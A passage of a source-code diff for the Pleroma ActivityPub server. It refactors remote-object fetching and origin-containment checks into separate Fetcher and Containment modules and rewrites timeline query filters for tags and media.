	{:ok, activity}
	else
	_e -> {:ok, nil}
	end
	end

	def unblock(blocker, blocked, activity_id \\ nil, local \\ true) do
	with %Activity{} = block_activity <- fetch_latest_block(blocker, blocked),
	unblock_data <- make_unblock_data(blocker, blocked, block_activity, activity_id),
	{:ok, activity} <- insert(unblock_data, local),
	:ok <- maybe_federate(activity) do
	{:ok, activity}
	end
	end

	def flag(
	%{
	actor: actor,
	context: context,
	account: account,
	statuses: statuses,
	content: content
	} = params
	) do
	# only accept false as false value
	local = !(params[:local] == false)
	forward = !(params[:forward] == false)

	additional = params[:additional] \|\| %{}

	params = %{
	actor: actor,
	context: context,
	account: account,
	statuses: statuses,
	content: content
	}

	additional =
	if forward do
	Map.merge(additional, %{"to" => [], "cc" => [account.ap_id]})
	else
	Map.merge(additional, %{"to" => [], "cc" => []})
	end

	with flag_data <- make_flag_data(params, additional),
	{:ok, activity} <- insert(flag_data, local),
	:ok <- maybe_federate(activity) do
	Enum.each(User.all_superusers(), fn superuser ->
	superuser
	\|> Pleroma.Emails.AdminEmail.report(actor, account, statuses, content)
	\|> Pleroma.Emails.Mailer.deliver_async()
	end)

	{:ok, activity}
	end
	end

	def fetch_activities_for_context(context, opts \\ %{}) do
	public = ["https://www.w3.org/ns/activitystreams#Public"]

	recipients =
	if opts["user"], do: [opts["user"].ap_id \| opts["user"].following] ++ public, else: public

	query = from(activity in Activity)

	query =
	query
	\|> restrict_blocked(opts)
	\|> restrict_recipients(recipients, opts["user"])

	query =
	from(
	activity in query,
	where:
	fragment(
	"?->>'type' = ? and ?->>'context' = ?",
	activity.data,
	"Create",
	activity.data,
	^context
	),
	order_by: [desc: :id]
	)
	\|> Activity.with_preloaded_object()

	Repo.all(query)
	end

	def fetch_public_activities(opts \\ %{}) do
	q = fetch_activities_query(["https://www.w3.org/ns/activitystreams#Public"], opts)

	q
	\|> restrict_unlisted()
	\|> Pagination.fetch_paginated(opts)
	\|> Enum.reverse()
	end

	@valid_visibilities ~w[direct unlisted public private]

	defp restrict_visibility(query, %{visibility: visibility})
	when is_list(visibility) do
	if Enum.all?(visibility, &(&1 in @valid_visibilities)) do
	query =
	from(
	a in query,
	where:
	fragment(
	"activity_visibility(?, ?, ?) = ANY (?)",
	a.actor,
	a.recipients,
	a.data,
	^visibility
	)
	)

	Ecto.Adapters.SQL.to_sql(:all, Repo, query)

	query
	else
	Logger.error("Could not restrict visibility to #{visibility}")
	end
	end

	defp restrict_visibility(query, %{visibility: visibility})
	when visibility in @valid_visibilities do
	query =
	from(
	a in query,
	where:
	fragment("activity_visibility(?, ?, ?) = ?", a.actor, a.recipients, a.data, ^visibility)
	)

	Ecto.Adapters.SQL.to_sql(:all, Repo, query)

	query
	end

	defp restrict_visibility(_query, %{visibility: visibility})
	when visibility not in @valid_visibilities do
	Logger.error("Could not restrict visibility to #{visibility}")
	end

	defp restrict_visibility(query, _visibility), do: query

	def fetch_user_activities(user, reading_user, params \\ %{}) do
	params =
	params
	\|> Map.put("type", ["Create", "Announce"])
	\|> Map.put("actor_id", user.ap_id)
	\|> Map.put("whole_db", true)
	\|> Map.put("pinned_activity_ids", user.info.pinned_activities)

	recipients =
	if reading_user do
	["https://www.w3.org/ns/activitystreams#Public"] ++
	[reading_user.ap_id \| reading_user.following]
	else
	["https://www.w3.org/ns/activitystreams#Public"]
	end

	fetch_activities(recipients, params)
	\|> Enum.reverse()
	end

	defp restrict_since(query, %{"since_id" => ""}), do: query

	defp restrict_since(query, %{"since_id" => since_id}) do
	from(activity in query, where: activity.id > ^since_id)
	end

	defp restrict_since(query, _), do: query

	+ defp restrict_tag_reject(_query, %{"tag_reject" => _tag_reject, "skip_preload" => true}) do
	+ raise "Can't use the child object without preloading!"
	+ end
	+
	defp restrict_tag_reject(query, %{"tag_reject" => tag_reject})
	when is_list(tag_reject) and tag_reject != [] do
	from(
	- activity in query,
	- where: fragment(~s($not \(? #> '{"object","tag"}'$ \\?\| ?\)), activity.data, ^tag_reject)
	+ [_activity, object] in query,
	+ where: fragment("not (?)->'tag' \\?\| (?)", object.data, ^tag_reject)
	)
	end

	defp restrict_tag_reject(query, _), do: query

	+ defp restrict_tag_all(_query, %{"tag_all" => _tag_all, "skip_preload" => true}) do
	+ raise "Can't use the child object without preloading!"
	+ end
	+
	defp restrict_tag_all(query, %{"tag_all" => tag_all})
	when is_list(tag_all) and tag_all != [] do
	from(
	- activity in query,
	- where: fragment(~s($? #> '{"object","tag"}'$ \\?& ?), activity.data, ^tag_all)
	+ [_activity, object] in query,
	+ where: fragment("(?)->'tag' \\?& (?)", object.data, ^tag_all)
	)
	end

	defp restrict_tag_all(query, _), do: query

	+ defp restrict_tag(_query, %{"tag" => _tag, "skip_preload" => true}) do
	+ raise "Can't use the child object without preloading!"
	+ end
	+
	defp restrict_tag(query, %{"tag" => tag}) when is_list(tag) do
	from(
	- activity in query,
	- where: fragment(~s($? #> '{"object","tag"}'$ \\?\| ?), activity.data, ^tag)
	+ [_activity, object] in query,
	+ where: fragment("(?)->'tag' \\?\| (?)", object.data, ^tag)
	)
	end

	defp restrict_tag(query, %{"tag" => tag}) when is_binary(tag) do
	from(
	- activity in query,
	- where: fragment(~s(? <@ (? #> '{"object","tag"}'\)), ^tag, activity.data)
	+ [_activity, object] in query,
	+ where: fragment("(?)->'tag' \\? (?)", object.data, ^tag)
	)
	end

	defp restrict_tag(query, _), do: query

	defp restrict_to_cc(query, recipients_to, recipients_cc) do
	from(
	activity in query,
	where:
	fragment(
	"(?->'to' \\?\| ?) or (?->'cc' \\?\| ?)",
	activity.data,
	^recipients_to,
	activity.data,
	^recipients_cc
	)
	)
	end

	defp restrict_recipients(query, [], _user), do: query

	defp restrict_recipients(query, recipients, nil) do
	from(activity in query, where: fragment("? && ?", ^recipients, activity.recipients))
	end

	defp restrict_recipients(query, recipients, user) do
	from(
	activity in query,
	where: fragment("? && ?", ^recipients, activity.recipients),
	or_where: activity.actor == ^user.ap_id
	)
	end

	defp restrict_local(query, %{"local_only" => true}) do
	from(activity in query, where: activity.local == true)
	end

	defp restrict_local(query, _), do: query

	defp restrict_actor(query, %{"actor_id" => actor_id}) do
	from(activity in query, where: activity.actor == ^actor_id)
	end

	defp restrict_actor(query, _), do: query

	defp restrict_type(query, %{"type" => type}) when is_binary(type) do
	from(activity in query, where: fragment("?->>'type' = ?", activity.data, ^type))
	end

	defp restrict_type(query, %{"type" => type}) do
	from(activity in query, where: fragment("?->>'type' = ANY(?)", activity.data, ^type))
	end

	defp restrict_type(query, _), do: query

	defp restrict_favorited_by(query, %{"favorited_by" => ap_id}) do
	from(
	activity in query,
	where: fragment(~s(? <@ (? #> '{"object","likes"}'\)), ^ap_id, activity.data)
	)
	end

	defp restrict_favorited_by(query, _), do: query

	+ defp restrict_media(_query, %{"only_media" => _val, "skip_preload" => true}) do
	+ raise "Can't use the child object without preloading!"
	+ end
	+
	defp restrict_media(query, %{"only_media" => val}) when val == "true" or val == "1" do
	from(
	- activity in query,
	- where: fragment(~s(not (? #> '{"object","attachment"}' = ?\)), activity.data, ^[])
	+ [_activity, object] in query,
	+ where: fragment("not (?)->'attachment' = (?)", object.data, ^[])
	)
	end

	defp restrict_media(query, _), do: query

	defp restrict_replies(query, %{"exclude_replies" => val}) when val == "true" or val == "1" do
	from(
	activity in query,
	where: fragment("?->'object'->>'inReplyTo' is null", activity.data)
	)
	end

	defp restrict_replies(query, _), do: query

	defp restrict_reblogs(query, %{"exclude_reblogs" => val}) when val == "true" or val == "1" do
	from(activity in query, where: fragment("?->>'type' != 'Announce'", activity.data))
	end

	defp restrict_reblogs(query, _), do: query

	defp restrict_muted(query, %{"with_muted" => val}) when val in [true, "true", "1"], do: query

	defp restrict_muted(query, %{"muting_user" => %User{info: info}}) do
	mutes = info.mutes

	from(
	activity in query,
	where: fragment("not (? = ANY(?))", activity.actor, ^mutes),
	where: fragment("not (?->'to' \\?\| ?)", activity.data, ^mutes)
	)
	end

	defp restrict_muted(query, _), do: query

	defp restrict_blocked(query, %{"blocking_user" => %User{info: info}}) do
	blocks = info.blocks \|\| []
	domain_blocks = info.domain_blocks \|\| []

	from(
	activity in query,
	where: fragment("not (? = ANY(?))", activity.actor, ^blocks),
	where: fragment("not (? && ?)", activity.recipients, ^blocks),
	where:
	fragment(
	"not (?->>'type' = 'Announce' and ?->'to' \\?\| ?)",
	activity.data,
	activity.data,
	^blocks
	),
	where: fragment("not (split_part(?, '/', 3) = ANY(?))", activity.actor, ^domain_blocks)
	)
	end

	defp restrict_blocked(query, _), do: query

	defp restrict_unlisted(query) do
	from(
	activity in query,
	where:
	fragment(
	"not (coalesce(?->'cc', '{}'::jsonb) \\?\| ?)",
	activity.data,
	^["https://www.w3.org/ns/activitystreams#Public"]
	)
	)
	end

	defp restrict_pinned(query, %{"pinned" => "true", "pinned_activity_ids" => ids}) do
	from(activity in query, where: activity.id in ^ids)
	end

	defp restrict_pinned(query, _), do: query

	defp restrict_muted_reblogs(query, %{"muting_user" => %User{info: info}}) do
	muted_reblogs = info.muted_reblogs \|\| []

	from(
	activity in query,
	where:
	fragment(
	"not ( ?->>'type' = 'Announce' and ? = ANY(?))",
	activity.data,
	activity.actor,
	^muted_reblogs
	)
	)
	end

	defp restrict_muted_reblogs(query, _), do: query

	defp maybe_preload_objects(query, %{"skip_preload" => true}), do: query

	defp maybe_preload_objects(query, _) do
	query
	\|> Activity.with_preloaded_object()
	end

	def fetch_activities_query(recipients, opts \\ %{}) do
	base_query = from(activity in Activity)

	base_query
	\|> maybe_preload_objects(opts)
	\|> restrict_recipients(recipients, opts["user"])
	\|> restrict_tag(opts)
	\|> restrict_tag_reject(opts)
	\|> restrict_tag_all(opts)
	\|> restrict_since(opts)
	\|> restrict_local(opts)
	\|> restrict_actor(opts)
	\|> restrict_type(opts)
	\|> restrict_favorited_by(opts)
	\|> restrict_blocked(opts)
	\|> restrict_muted(opts)
	\|> restrict_media(opts)
	\|> restrict_visibility(opts)
	\|> restrict_replies(opts)
	\|> restrict_reblogs(opts)
	\|> restrict_pinned(opts)
	\|> restrict_muted_reblogs(opts)
	end

	def fetch_activities(recipients, opts \\ %{}) do
	fetch_activities_query(recipients, opts)
	\|> Pagination.fetch_paginated(opts)
	\|> Enum.reverse()
	end

	def fetch_activities_bounded(recipients_to, recipients_cc, opts \\ %{}) do
	fetch_activities_query([], opts)
	\|> restrict_to_cc(recipients_to, recipients_cc)
	\|> Pagination.fetch_paginated(opts)
	\|> Enum.reverse()
	end

	def upload(file, opts \\ []) do
	with {:ok, data} <- Upload.store(file, opts) do
	obj_data =
	if opts[:actor] do
	Map.put(data, "actor", opts[:actor])
	else
	data
	end

	Repo.insert(%Object{data: obj_data})
	end
	end

	def user_data_from_user_object(data) do
	avatar =
	data["icon"]["url"] &&
	%{
	"type" => "Image",
	"url" => [%{"href" => data["icon"]["url"]}]
	}

	banner =
	data["image"]["url"] &&
	%{
	"type" => "Image",
	"url" => [%{"href" => data["image"]["url"]}]
	}

	locked = data["manuallyApprovesFollowers"] \|\| false
	data = Transmogrifier.maybe_fix_user_object(data)

	user_data = %{
	ap_id: data["id"],
	info: %{
	"ap_enabled" => true,
	"source_data" => data,
	"banner" => banner,
	"locked" => locked
	},
	avatar: avatar,
	name: data["name"],
	follower_address: data["followers"],
	bio: data["summary"]
	}

	# nickname can be nil because of virtual actors
	user_data =
	if data["preferredUsername"] do
	Map.put(
	user_data,
	:nickname,
	"#{data["preferredUsername"]}@#{URI.parse(data["id"]).host}"
	)
	else
	Map.put(user_data, :nickname, nil)
	end

	{:ok, user_data}
	end

	def fetch_and_prepare_user_from_ap_id(ap_id) do
	- with {:ok, data} <- fetch_and_contain_remote_object_from_id(ap_id) do
	+ with {:ok, data} <- Fetcher.fetch_and_contain_remote_object_from_id(ap_id) do
	user_data_from_user_object(data)
	else
	e -> Logger.error("Could not decode user at fetch #{ap_id}, #{inspect(e)}")
	end
	end

	def make_user_from_ap_id(ap_id) do
	if _user = User.get_cached_by_ap_id(ap_id) do
	Transmogrifier.upgrade_user_from_ap_id(ap_id)
	else
	with {:ok, data} <- fetch_and_prepare_user_from_ap_id(ap_id) do
	User.insert_or_update_user(data)
	else
	e -> {:error, e}
	end
	end
	end

	def make_user_from_nickname(nickname) do
	with {:ok, %{"ap_id" => ap_id}} when not is_nil(ap_id) <- WebFinger.finger(nickname) do
	make_user_from_ap_id(ap_id)
	else
	_e -> {:error, "No AP id in WebFinger"}
	end
	end

	def should_federate?(inbox, public) do
	if public do
	true
	else
	inbox_info = URI.parse(inbox)
	!Enum.member?(Pleroma.Config.get([:instance, :quarantined_instances], []), inbox_info.host)
	end
	end

	def publish(actor, activity) do
	remote_followers =
	if actor.follower_address in activity.recipients do
	{:ok, followers} = User.get_followers(actor)
	followers \|> Enum.filter(&(!&1.local))
	else
	[]
	end

	public = is_public?(activity)

	{:ok, data} = Transmogrifier.prepare_outgoing(activity.data)
	json = Jason.encode!(data)

	(Pleroma.Web.Salmon.remote_users(activity) ++ remote_followers)
	\|> Enum.filter(fn user -> User.ap_enabled?(user) end)
	\|> Enum.map(fn %{info: %{source_data: data}} ->
	(is_map(data["endpoints"]) && Map.get(data["endpoints"], "sharedInbox")) \|\| data["inbox"]
	end)
	\|> Enum.uniq()
	\|> Enum.filter(fn inbox -> should_federate?(inbox, public) end)
	\|> Instances.filter_reachable()
	\|> Enum.each(fn {inbox, unreachable_since} ->
	Federator.publish_single_ap(%{
	inbox: inbox,
	json: json,
	actor: actor,
	id: activity.data["id"],
	unreachable_since: unreachable_since
	})
	end)
	end

	def publish_one(%{inbox: inbox, json: json, actor: actor, id: id} = params) do
	Logger.info("Federating #{id} to #{inbox}")
	host = URI.parse(inbox).host

	digest = "SHA-256=" <> (:crypto.hash(:sha256, json) \|> Base.encode64())

	date =
	NaiveDateTime.utc_now()
	\|> Timex.format!("{WDshort}, {0D} {Mshort} {YYYY} {h24}:{m}:{s} GMT")

	signature =
	Pleroma.Web.HTTPSignatures.sign(actor, %{
	host: host,
	"content-length": byte_size(json),
	digest: digest,
	date: date
	})

	with {:ok, %{status: code}} when code in 200..299 <-
	result =
	@httpoison.post(
	inbox,
	json,
	[
	{"Content-Type", "application/activity+json"},
	{"Date", date},
	{"signature", signature},
	{"digest", digest}
	]
	) do
	if !Map.has_key?(params, :unreachable_since) \|\| params[:unreachable_since],
	do: Instances.set_reachable(inbox)

	result
	else
	{_post_result, response} ->
	unless params[:unreachable_since], do: Instances.set_unreachable(inbox)
	{:error, response}
	end
	end

	- # TODO:
	- # This will create a Create activity, which we need internally at the moment.
	- def fetch_object_from_id(id) do
	- if object = Object.get_cached_by_ap_id(id) do
	- {:ok, object}
	- else
	- with {:ok, data} <- fetch_and_contain_remote_object_from_id(id),
	- nil <- Object.normalize(data),
	- params <- %{
	- "type" => "Create",
	- "to" => data["to"],
	- "cc" => data["cc"],
	- "actor" => data["actor"] \|\| data["attributedTo"],
	- "object" => data
	- },
	- :ok <- Transmogrifier.contain_origin(id, params),
	- {:ok, activity} <- Transmogrifier.handle_incoming(params) do
	- {:ok, Object.normalize(activity)}
	- else
	- {:error, {:reject, nil}} ->
	- {:reject, nil}
	-
	- object = %Object{} ->
	- {:ok, object}
	-
	- _e ->
	- Logger.info("Couldn't get object via AP, trying out OStatus fetching...")
	-
	- case OStatus.fetch_activity_from_url(id) do
	- {:ok, [activity \| _]} -> {:ok, Object.normalize(activity)}
	- e -> e
	- end
	- end
	- end
	- end
	-
	- def fetch_and_contain_remote_object_from_id(id) do
	- Logger.info("Fetching object #{id} via AP")
	-
	- with true <- String.starts_with?(id, "http"),
	- {:ok, %{body: body, status: code}} when code in 200..299 <-
	- @httpoison.get(
	- id,
	- [{:Accept, "application/activity+json"}]
	- ),
	- {:ok, data} <- Jason.decode(body),
	- :ok <- Transmogrifier.contain_origin_from_id(id, data) do
	- {:ok, data}
	- else
	- e ->
	- {:error, e}
	- end
	- end
	-
	# filter out broken threads
	def contain_broken_threads(%Activity{} = activity, %User{} = user) do
	entire_thread_visible_for_user?(activity, user)
	end

	# do post-processing on a specific activity
	def contain_activity(%Activity{} = activity, %User{} = user) do
	contain_broken_threads(activity, user)
	end

	# do post-processing on a timeline
	def contain_timeline(timeline, user) do
	timeline
	\|> Enum.filter(fn activity ->
	contain_activity(activity, user)
	end)
	end
	end
	diff --git a/lib/pleroma/web/activity_pub/activity_pub_controller.ex b/lib/pleroma/web/activity_pub/activity_pub_controller.ex
	index 3331ebebd..0b80566bf 100644
	--- a/lib/pleroma/web/activity_pub/activity_pub_controller.ex
	+++ b/lib/pleroma/web/activity_pub/activity_pub_controller.ex
	@@ -1,316 +1,317 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ActivityPubController do
	use Pleroma.Web, :controller

	alias Pleroma.Activity
	alias Pleroma.Object
	+ alias Pleroma.Object.Fetcher
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.ObjectView
	alias Pleroma.Web.ActivityPub.Relay
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.ActivityPub.UserView
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.ActivityPub.Visibility
	alias Pleroma.Web.Federator

	require Logger

	action_fallback(:errors)

	plug(Pleroma.Web.FederatingPlug when action in [:inbox, :relay])
	plug(:set_requester_reachable when action in [:inbox])
	plug(:relay_active? when action in [:relay])

	def relay_active?(conn, _) do
	if Keyword.get(Application.get_env(:pleroma, :instance), :allow_relay) do
	conn
	else
	conn
	\|> put_status(404)
	\|> json(%{error: "not found"})
	\|> halt
	end
	end

	def user(conn, %{"nickname" => nickname}) do
	with %User{} = user <- User.get_cached_by_nickname(nickname),
	{:ok, user} <- Pleroma.Web.WebFinger.ensure_keys_present(user) do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("user.json", %{user: user}))
	else
	nil -> {:error, :not_found}
	end
	end

	def object(conn, %{"uuid" => uuid}) do
	with ap_id <- o_status_url(conn, :object, uuid),
	%Object{} = object <- Object.get_cached_by_ap_id(ap_id),
	{_, true} <- {:public?, Visibility.is_public?(object)} do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(ObjectView.render("object.json", %{object: object}))
	else
	{:public?, false} ->
	{:error, :not_found}
	end
	end

	def object_likes(conn, %{"uuid" => uuid, "page" => page}) do
	with ap_id <- o_status_url(conn, :object, uuid),
	%Object{} = object <- Object.get_cached_by_ap_id(ap_id),
	{_, true} <- {:public?, Visibility.is_public?(object)},
	likes <- Utils.get_object_likes(object) do
	{page, _} = Integer.parse(page)

	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(ObjectView.render("likes.json", ap_id, likes, page))
	else
	{:public?, false} ->
	{:error, :not_found}
	end
	end

	def object_likes(conn, %{"uuid" => uuid}) do
	with ap_id <- o_status_url(conn, :object, uuid),
	%Object{} = object <- Object.get_cached_by_ap_id(ap_id),
	{_, true} <- {:public?, Visibility.is_public?(object)},
	likes <- Utils.get_object_likes(object) do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(ObjectView.render("likes.json", ap_id, likes))
	else
	{:public?, false} ->
	{:error, :not_found}
	end
	end

	def activity(conn, %{"uuid" => uuid}) do
	with ap_id <- o_status_url(conn, :activity, uuid),
	%Activity{} = activity <- Activity.normalize(ap_id),
	{_, true} <- {:public?, Visibility.is_public?(activity)} do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(ObjectView.render("object.json", %{object: activity}))
	else
	{:public?, false} ->
	{:error, :not_found}
	end
	end

	def following(conn, %{"nickname" => nickname, "page" => page}) do
	with %User{} = user <- User.get_cached_by_nickname(nickname),
	{:ok, user} <- Pleroma.Web.WebFinger.ensure_keys_present(user) do
	{page, _} = Integer.parse(page)

	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("following.json", %{user: user, page: page}))
	end
	end

	def following(conn, %{"nickname" => nickname}) do
	with %User{} = user <- User.get_cached_by_nickname(nickname),
	{:ok, user} <- Pleroma.Web.WebFinger.ensure_keys_present(user) do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("following.json", %{user: user}))
	end
	end

	def followers(conn, %{"nickname" => nickname, "page" => page}) do
	with %User{} = user <- User.get_cached_by_nickname(nickname),
	{:ok, user} <- Pleroma.Web.WebFinger.ensure_keys_present(user) do
	{page, _} = Integer.parse(page)

	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("followers.json", %{user: user, page: page}))
	end
	end

	def followers(conn, %{"nickname" => nickname}) do
	with %User{} = user <- User.get_cached_by_nickname(nickname),
	{:ok, user} <- Pleroma.Web.WebFinger.ensure_keys_present(user) do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("followers.json", %{user: user}))
	end
	end

	def outbox(conn, %{"nickname" => nickname} = params) do
	with %User{} = user <- User.get_cached_by_nickname(nickname),
	{:ok, user} <- Pleroma.Web.WebFinger.ensure_keys_present(user) do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("outbox.json", %{user: user, max_id: params["max_id"]}))
	end
	end

	def inbox(%{assigns: %{valid_signature: true}} = conn, %{"nickname" => nickname} = params) do
	with %User{} = recipient <- User.get_cached_by_nickname(nickname),
	%User{} = actor <- User.get_or_fetch_by_ap_id(params["actor"]),
	true <- Utils.recipient_in_message(recipient, actor, params),
	params <- Utils.maybe_splice_recipient(recipient.ap_id, params) do
	Federator.incoming_ap_doc(params)
	json(conn, "ok")
	end
	end

	def inbox(%{assigns: %{valid_signature: true}} = conn, params) do
	Federator.incoming_ap_doc(params)
	json(conn, "ok")
	end

	# only accept relayed Creates
	def inbox(conn, %{"type" => "Create"} = params) do
	Logger.info(
	"Signature missing or not from author, relayed Create message, fetching object from source"
	)

	- ActivityPub.fetch_object_from_id(params["object"]["id"])
	+ Fetcher.fetch_object_from_id(params["object"]["id"])

	json(conn, "ok")
	end

	def inbox(conn, params) do
	headers = Enum.into(conn.req_headers, %{})

	if String.contains?(headers["signature"], params["actor"]) do
	Logger.info(
	"Signature validation error for: #{params["actor"]}, make sure you are forwarding the HTTP Host header!"
	)

	Logger.info(inspect(conn.req_headers))
	end

	json(conn, "error")
	end

	def relay(conn, _params) do
	with %User{} = user <- Relay.get_actor(),
	{:ok, user} <- Pleroma.Web.WebFinger.ensure_keys_present(user) do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("user.json", %{user: user}))
	else
	nil -> {:error, :not_found}
	end
	end

	def whoami(%{assigns: %{user: %User{} = user}} = conn, _params) do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("user.json", %{user: user}))
	end

	def whoami(_conn, _params), do: {:error, :not_found}

	def read_inbox(%{assigns: %{user: user}} = conn, %{"nickname" => nickname} = params) do
	if nickname == user.nickname do
	conn
	\|> put_resp_header("content-type", "application/activity+json")
	\|> json(UserView.render("inbox.json", %{user: user, max_id: params["max_id"]}))
	else
	conn
	\|> put_status(:forbidden)
	\|> json("can't read inbox of #{nickname} as #{user.nickname}")
	end
	end

	def handle_user_activity(user, %{"type" => "Create"} = params) do
	object =
	params["object"]
	\|> Map.merge(Map.take(params, ["to", "cc"]))
	\|> Map.put("attributedTo", user.ap_id())
	\|> Transmogrifier.fix_object()

	ActivityPub.create(%{
	to: params["to"],
	actor: user,
	context: object["context"],
	object: object,
	additional: Map.take(params, ["cc"])
	})
	end

	def handle_user_activity(user, %{"type" => "Delete"} = params) do
	with %Object{} = object <- Object.normalize(params["object"]),
	true <- user.info.is_moderator \|\| user.ap_id == object.data["actor"],
	{:ok, delete} <- ActivityPub.delete(object) do
	{:ok, delete}
	else
	_ -> {:error, "Can't delete object"}
	end
	end

	def handle_user_activity(user, %{"type" => "Like"} = params) do
	with %Object{} = object <- Object.normalize(params["object"]),
	{:ok, activity, _object} <- ActivityPub.like(user, object) do
	{:ok, activity}
	else
	_ -> {:error, "Can't like object"}
	end
	end

	def handle_user_activity(_, _) do
	{:error, "Unhandled activity type"}
	end

	def update_outbox(
	%{assigns: %{user: user}} = conn,
	%{"nickname" => nickname} = params
	) do
	if nickname == user.nickname do
	actor = user.ap_id()

	params =
	params
	\|> Map.drop(["id"])
	\|> Map.put("actor", actor)
	\|> Transmogrifier.fix_addressing()

	with {:ok, %Activity{} = activity} <- handle_user_activity(user, params) do
	conn
	\|> put_status(:created)
	\|> put_resp_header("location", activity.data["id"])
	\|> json(activity.data)
	else
	{:error, message} ->
	conn
	\|> put_status(:bad_request)
	\|> json(message)
	end
	else
	conn
	\|> put_status(:forbidden)
	\|> json("can't update outbox of #{nickname} as #{user.nickname}")
	end
	end

	def errors(conn, {:error, :not_found}) do
	conn
	\|> put_status(404)
	\|> json("Not found")
	end

	def errors(conn, _e) do
	conn
	\|> put_status(500)
	\|> json("error")
	end

	defp set_requester_reachable(%Plug.Conn{} = conn, _) do
	with actor <- conn.params["actor"],
	true <- is_binary(actor) do
	Pleroma.Instances.set_reachable(actor)
	end

	conn
	end
	end
	diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex
	index c6f6bb203..52666a409 100644
	--- a/lib/pleroma/web/activity_pub/transmogrifier.ex
	+++ b/lib/pleroma/web/activity_pub/transmogrifier.ex
	@@ -1,1058 +1,1007 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.Transmogrifier do
	@moduledoc """
	A module to handle coding from internal to wire ActivityPub and back.
	"""
	alias Pleroma.Activity
	alias Pleroma.Object
	+ alias Pleroma.Object.Containment
	alias Pleroma.Repo
	alias Pleroma.User
	+ alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.ActivityPub.Visibility

	import Ecto.Query

	require Logger

	- def get_actor(%{"actor" => actor}) when is_binary(actor) do
	- actor
	- end
	-
	- def get_actor(%{"actor" => actor}) when is_list(actor) do
	- if is_binary(Enum.at(actor, 0)) do
	- Enum.at(actor, 0)
	- else
	- Enum.find(actor, fn %{"type" => type} -> type in ["Person", "Service", "Application"] end)
	- \|> Map.get("id")
	- end
	- end
	-
	- def get_actor(%{"actor" => %{"id" => id}}) when is_bitstring(id) do
	- id
	- end
	-
	- def get_actor(%{"actor" => nil, "attributedTo" => actor}) when not is_nil(actor) do
	- get_actor(%{"actor" => actor})
	- end
	-
	- @doc """
	- Checks that an imported AP object's actor matches the domain it came from.
	- """
	- def contain_origin(_id, %{"actor" => nil}), do: :error
	-
	- def contain_origin(id, %{"actor" => _actor} = params) do
	- id_uri = URI.parse(id)
	- actor_uri = URI.parse(get_actor(params))
	-
	- if id_uri.host == actor_uri.host do
	- :ok
	- else
	- :error
	- end
	- end
	-
	- def contain_origin_from_id(_id, %{"id" => nil}), do: :error
	-
	- def contain_origin_from_id(id, %{"id" => other_id} = _params) do
	- id_uri = URI.parse(id)
	- other_uri = URI.parse(other_id)
	-
	- if id_uri.host == other_uri.host do
	- :ok
	- else
	- :error
	- end
	- end
	-
	@doc """
	Modifies an incoming AP object (mastodon format) to our internal format.
	"""
	def fix_object(object) do
	object
	\|> fix_actor
	\|> fix_url
	\|> fix_attachments
	\|> fix_context
	\|> fix_in_reply_to
	\|> fix_emoji
	\|> fix_tag
	\|> fix_content_map
	\|> fix_likes
	\|> fix_addressing
	\|> fix_summary
	end

	def fix_summary(%{"summary" => nil} = object) do
	object
	\|> Map.put("summary", "")
	end

	def fix_summary(%{"summary" => _} = object) do
	# summary is present, nothing to do
	object
	end

	def fix_summary(object) do
	object
	\|> Map.put("summary", "")
	end

	def fix_addressing_list(map, field) do
	cond do
	is_binary(map[field]) ->
	Map.put(map, field, [map[field]])

	is_nil(map[field]) ->
	Map.put(map, field, [])

	true ->
	map
	end
	end

	def fix_explicit_addressing(%{"to" => to, "cc" => cc} = object, explicit_mentions) do
	explicit_to =
	to
	\|> Enum.filter(fn x -> x in explicit_mentions end)

	explicit_cc =
	to
	\|> Enum.filter(fn x -> x not in explicit_mentions end)

	final_cc =
	(cc ++ explicit_cc)
	\|> Enum.uniq()

	object
	\|> Map.put("to", explicit_to)
	\|> Map.put("cc", final_cc)
	end

	def fix_explicit_addressing(object, _explicit_mentions), do: object

	# if directMessage flag is set to true, leave the addressing alone
	def fix_explicit_addressing(%{"directMessage" => true} = object), do: object

	def fix_explicit_addressing(object) do
	explicit_mentions =
	object
	\|> Utils.determine_explicit_mentions()

	explicit_mentions = explicit_mentions ++ ["https://www.w3.org/ns/activitystreams#Public"]

	object
	\|> fix_explicit_addressing(explicit_mentions)
	end

	# if as:Public is addressed, then make sure the followers collection is also addressed
	# so that the activities will be delivered to local users.
	def fix_implicit_addressing(%{"to" => to, "cc" => cc} = object, followers_collection) do
	recipients = to ++ cc

	if followers_collection not in recipients do
	cond do
	"https://www.w3.org/ns/activitystreams#Public" in cc ->
	to = to ++ [followers_collection]
	Map.put(object, "to", to)

	"https://www.w3.org/ns/activitystreams#Public" in to ->
	cc = cc ++ [followers_collection]
	Map.put(object, "cc", cc)

	true ->
	object
	end
	else
	object
	end
	end

	def fix_implicit_addressing(object, _), do: object

	def fix_addressing(object) do
	%User{} = user = User.get_or_fetch_by_ap_id(object["actor"])
	followers_collection = User.ap_followers(user)

	object
	\|> fix_addressing_list("to")
